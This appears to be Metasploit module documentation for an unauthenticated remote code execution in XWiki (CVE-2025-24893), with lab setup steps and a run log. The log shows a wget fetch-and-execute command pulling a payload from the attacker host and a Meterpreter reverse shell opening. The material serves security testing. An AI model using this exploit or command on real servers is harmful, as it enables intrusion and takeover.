## Vulnerable Application

This module exploits a template injection vulnerability in the the XWiki Platform.
XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine. 
The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.

This vulnerability affects XWiki Platform versions >= 5.3‑milestone‑2 and < 15.10.11, and versions >= 16.0.0‑rc‑1 and < 16.4.1.
Successful exploitation may result in the remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations.

An attacker can execute arbitrary system commands in the context of the user running the web server.

## Testing

### Setup a Linux Server to Host the XWiki

To set up a test environment:

1. Download and Install Ubuntu 18.04.6 LTS

Download the ISO from the official Ubuntu archive:
https://releases.ubuntu.com/18.04/

2. Install OpenJDK 17

```
wget https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.9%2B9/OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz
sudo mkdir -p /opt/java
sudo tar -xzf OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz -C /opt/java
export JAVA_HOME=/opt/java/jdk-17.0.9+9
export PATH=$JAVA_HOME/bin:$PATH
```

3. Download and Unpack Vulnerable XWiki

```
wget https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
```

```
unzip xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
```

4. Run XWiki

Go to the directory where you've unpack archive and run `start_xwiki.sh`

### Setup a Windows Server to Host XWiki

1. Download and Install Windows

Download Windows 10 ISO from the official Microsoft site:
https://www.microsoft.com/en-us/software-download/windows10

Follow standard installation steps in your hypervisor (e.g., VirtualBox, VMware, etc.).

2. Install OpenJDK 17

Download `.msi` file from this page

```
https://learn.microsoft.com/en-us/java/openjdk/download#openjdk-17
```

and install

3. Download and Unpack Vulnerable XWiki

```
https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
```

Open with 7-zip or another archiver and unpack

4. Run XWiki

Go to the directory where you've unpack archive and run `start_xwiki.bat`

## Scenario

```
msf6 > use multi/http/xwiki_unauth_rce_cve_2025_24893
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RHOSTS 192.168.19.136
RHOSTS => 192.168.19.136
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > run verbose=true

[*] Command to run on remote host: wget -qO ./oXsSiyiPG http://192.168.19.130:8080/TZr1rd35vcaOY2R1ivAgxA; chmod +x ./oXsSiyiPG; ./oXsSiyiPG &
[*] Fetch handler listening on 192.168.19.130:8080
[*] HTTP server started
[*] Adding resource /TZr1rd35vcaOY2R1ivAgxA
[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Extracting version...
[*] Extracted version: 15.10.5
[+] The target appears to be vulnerable.
[*] Building command for target...
[*] Uploading malicious payload...
[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA
[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu))
[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA
[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu))
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.19.136
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.19.136
[-] Failed to load client portion of stdapi.
[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.136:36512) at 2025-08-23 23:42:12 -0400

[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.136:36510) at 2025-08-23 23:42:12 -0400
meterpreter > sysinfo
Computer     : 192.168.19.136
OS           : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```